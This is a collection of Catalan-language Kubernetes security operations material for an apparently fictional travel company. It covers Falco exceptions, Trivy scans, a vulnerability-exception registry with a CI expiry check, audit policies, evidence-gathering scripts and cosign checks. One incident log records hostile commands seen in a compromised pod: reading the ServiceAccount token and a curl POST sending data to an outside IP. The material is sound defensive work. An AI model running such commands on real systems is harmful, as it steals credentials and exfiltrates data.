    - rule: Shell oberta en contenidor de produccio
      append: true
      exceptions:
        - name: sondes_del_recollector_de_logs
          fields: [k8s.pod.label.app, proc.pname]
          comps: [=, =]
          values:
            - [fluent-bit, tini]

#!/usr/bin/env bash
# seguretat/inventari.sh — inventari del que corre a producció
kubectl get pods -n rutas-norte-pro -o json | jq -r '
  .items[]
  | .metadata.labels.app as $app
  | .status.containerStatuses[]?
  | "\($app)\t\(.name)\t\(.imageID)"' | sort -u

api-reserves	api	registry.rutasnorte.example/rutasnorte/api-reserves@sha256:9f2c1d4e...
api-reserves	ambaixador-pagaments	registry.rutasnorte.example/rutasnorte/ambaixador-pagaments@sha256:3c8e1f5a...
botiga-web	nginx	registry.rutasnorte.example/externes/nginx-unprivileged@sha256:7d3b2f8e...
postgres-reserves	exportador-metriques	registry.rutasnorte.example/externes/postgres-exporter@sha256:1b4e7a2c...
postgres-reserves	postgres	registry.rutasnorte.example/externes/postgres@sha256:2a7f4c8d...
redis-cache	redis	registry.rutasnorte.example/externes/redis@sha256:6d1a3f9b...
worker-notificacions	adaptador-logs	registry.rutasnorte.example/rutasnorte/adaptador-logs@sha256:4f2c9e1d...
worker-notificacions	worker	registry.rutasnorte.example/rutasnorte/worker-notificacions@sha256:5e8a1b7c...

# Trivy pot incorporar EPSS i KEV a l'informe
trivy image --scanners vuln \
  --vex repo \
  --severity CRITICAL,HIGH \
  registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1

# seguretat/excepcions-vulnerabilitats.yaml
# Registre d'excepcions vigents. Revisió mensual.
# Una excepció caducada bloqueja la construcció fins que es renova o es corregeix.

excepcions:
  - cve: CVE-2025-98004
    component: zlib1g
    imatges: ["rutasnorte/api-reserves", "rutasnorte/worker-notificacions"]
    severitat: LOW
    motiu: >-
      Sense correcció disponible del mantenidor. La ruta de codi afectada
      (descompressió de fluxos gzip malformats) no s'executa: l'aplicació
      no descomprimeix contingut d'origen extern.
    mitigacio: >-
      L'Ingress rebutja cossos comprimits superiors a 2 MB (08-04).
    aprovada_per: seguretat
    responsable: plataforma
    data_aprovacio: 2026-08-01
    data_caducitat: 2026-10-01     # OBLIGATÒRIA
    revisio: mensual

  - cve: CVE-2026-10877
    component: libc6
    imatges: ["rutasnorte/api-reserves"]
    severitat: MEDIUM
    motiu: >-
      La correcció requereix pujar la imatge base a Debian 13, que trenca la
      compatibilitat d'una dependència nativa. Migració planificada.
    mitigacio: >-
      El component corre sense root, amb capacitats eliminades i sistema de
      fitxers de només lectura (08-02).
    aprovada_per: seguretat
    responsable: equip-api
    data_aprovacio: 2026-07-15
    data_caducitat: 2026-09-15
    tasca: PLAT-1847
    revisio: quinzenal

#!/usr/bin/env bash
# ci/verificar-excepcions.sh
# Falla si hi ha excepcions caducades. S'executa en cada construcció.
set -euo pipefail
AVUI=$(date -u +%Y-%m-%d)
caducades=0

while read -r cve caducitat responsable; do
  if [[ "$caducitat" < "$AVUI" ]]; then
    echo "CADUCADA: $cve (va vèncer el $caducitat, responsable: $responsable)"
    caducades=$((caducades + 1))
  fi
done < <(yq -r '.excepcions[] | "\(.cve) \(.data_caducitat) \(.responsable)"' \
           seguretat/excepcions-vulnerabilitats.yaml)

if [[ "$caducades" -gt 0 ]]; then
  echo
  echo "Hi ha $caducades excepcions caducades. Corregeix la vulnerabilitat o"
  echo "renova l'excepció amb aprovació de seguretat abans de continuar."
  exit 1
fi
echo "Totes les excepcions vigents."

#!/usr/bin/env bash
# seguretat/generar-evidencies-trimestrals.sh
TRIMESTRE=$(date +%Y-Q%q 2>/dev/null || date +%Y-%m)
DIR="evidencies/$TRIMESTRE"
mkdir -p "$DIR"

echo "Generant evidències per a $TRIMESTRE..."

# 1. Qui pot accedir a Secrets de producció
{
  echo "# Permisos sobre Secrets a rutas-norte-pro — $(date -u)"
  for grup in desenvolupament plataforma suport analitica; do
    for verb in get list watch; do
      printf "%-16s %-6s %s\n" "$grup" "$verb" \
        "$(kubectl auth can-i "$verb" secrets --as-group "$grup" --as auditor -n rutas-norte-pro)"
    done
  done
} > "$DIR/permisos-secrets.txt"

# 2. Accessos reals registrats
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TOTS") \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log > "$DIR/accessos-secrets.txt"

# 3. Estat de vulnerabilitats
kubectl get vulnerabilityreports -A -o json \
  | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)\t\(.report.summary)"' \
  > "$DIR/vulnerabilitats.txt"

# 4. Excepcions vigents
cp seguretat/excepcions-vulnerabilitats.yaml "$DIR/"

# 5. Compliment del clúster
kubectl get clustercompliancereport cis -o yaml > "$DIR/cis.yaml"

# 6. Configuració de seguretat dels namespaces
kubectl get namespaces -o custom-columns=\
'NS:.metadata.name,ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce' \
  > "$DIR/perfils-psa.txt"

echo "Evidències generades a $DIR"
sha256sum "$DIR"/* > "$DIR/CHECKSUMS.txt"

03:47:09Z  system:serviceaccount:rutas-norte-pro:worker-notificacions  list  secrets/-  403
03:47:14Z  system:serviceaccount:rutas-norte-pro:worker-notificacions  create  pods/exec  403
03:47:31Z  system:serviceaccount:rutas-norte-pro:worker-notificacions  get  configmaps/worker-config  200

03:47:08.229 Critical Shell oberta a produccio (proces=sh -c "cat /etc/passwd"
pare=node pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884 Critical Token de ServiceAccount llegit per proces inesperat
(proces=cat /var/run/secrets/kubernetes.io/serviceaccount/token pare=sh
pod=worker-notificacions-6d4f8b9c7-k9x2)
03:47:12.155 Critical Eina de descarrega a produccio (proces=curl -X POST
https://192.0.2.55/r -d @- pare=sh pod=worker-notificacions-6d4f8b9c7-k9x2)

03:47:12.401 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:443  DROPPED  Policy denied
03:47:13.455 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:53   DROPPED  Policy denied

apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
  # ---------------------------------------------------------------
  # REGLA A: descartar el soroll del kubelet llegint ConfigMaps.
  # HA D'ANAR AL PRINCIPI del fitxer, al bloc de None.
  # Motiu: la política s'avalua en ordre i s'aplica la PRIMERA
  # regla que coincideix. Si aquesta anés després de la regla B o de
  # qualsevol regla genèrica, aquelles lectures ja s'haurien registrat.
  # ---------------------------------------------------------------
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["configmaps"]

  # ... (resta del bloc de None: sondes, controladors, esdeveniments) ...

  # ---------------------------------------------------------------
  # REGLA B: escriptures sobre CronJobs de producció, amb el cos.
  # Va al bloc de regles específiques, ABANS de les regles
  # genèriques de nivell Metadata que capturarien aquestes peticions
  # amb menys detall.
  # ---------------------------------------------------------------
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    namespaces: ["rutas-norte-pro"]
    resources:
      - group: "batch"
        resources: ["cronjobs"]

  # ... (resta de regles específiques) ...

  # Regla genèrica final
  - level: Metadata

jq -r 'select(
    .objectRef.resource == "cronjobs" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb | test("create|update|patch|delete"))
  )
  | "=== \(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name)  [\(.responseStatus.code)]",
    "    programacio: \(.requestObject.spec.schedule // "sense canvi")",
    "    imatge: \(.requestObject.spec.jobTemplate.spec.template.spec.containers[0].image // "sense canvi")",
    "    suspes: \(.requestObject.spec.suspend // false)"' \
  /var/log/kubernetes/auditoria.log

=== 2026-08-05T18:22:41Z  [email protected]  patch  informes-ocupacio  [200]
    programacio: 0 4 * * *
    imatge: registry.rutasnorte.example/rutasnorte/informes-ocupacio@sha256:8a3f...
    suspes: false
=== 2026-08-06T02:11:09Z  system:serviceaccount:argocd:argocd-application-controller  patch  informes-ocupacio  [200]
    programacio: 0 3 * * *
    imatge: registry.rutasnorte.example/rutasnorte/informes-ocupacio@sha256:8a3f...
    suspes: false

kubectl exec -n rutas-norte-pro deploy/botiga-web -- \
  grep -r server_tokens /etc/nginx/ || echo "no configurat (valor per defecte: on)"

  - cve: CVE-2026-12988
    component: openssl
    imatges: ["rutasnorte/worker-notificacions"]
    severitat: CRITICAL
    cvss: 9.4
    estat_correccio: affected   # sense pedaç del mantenidor
    motiu: >-
      La vulnerabilitat afecta la ruta de verificació de certificats de
      CLIENT, que només s'executa quan el procés actua com a servidor TLS.
      worker-notificacions únicament obre connexions sortints cap al
      servidor SMTP del proveïdor, actuant sempre com a client. La ruta de
      codi vulnerable no s'executa.
      Verificat per: revisió del codi de l'aplicació i del SBOM.
    mitigacio: >-
      El component no accepta connexions entrants (NetworkPolicy sense regles
      d'Ingress, 08-04). Corre sense root, amb capacitats eliminades i sistema
      de fitxers de només lectura (08-02).
    aprovada_per: seguretat
    responsable: plataforma
    data_aprovacio: 2026-08-06
    data_caducitat: 2026-09-06     # revisió mensual: pot sortir el pedaç
    revisio: mensual
    seguiment: >-
      Comprovar setmanalment si el mantenidor publica correcció. Tan bon punt
      existeixi, aquesta excepció es tanca i passa a P2.

# Quin digest està corrent realment?
kubectl get pod -n rutas-norte-pro worker-notificacions-6d4f8b9c7-k9x2 \
  -o jsonpath='{.status.containerStatuses[?(@.name=="worker")].imageID}{"\n"}'

# Coincideix amb el que va signar la canalització?
cosign verify \
  --certificate-identity-regexp "https://git.rutasnorte.example/plataforma/.*" \
  --certificate-oidc-issuer "https://git.rutasnorte.example" \
  "<el digest anterior>"

# La imatge té shell?
trivy image --list-all-pkgs "<el digest>" | grep -E 'busybox|bash|coreutils|curl'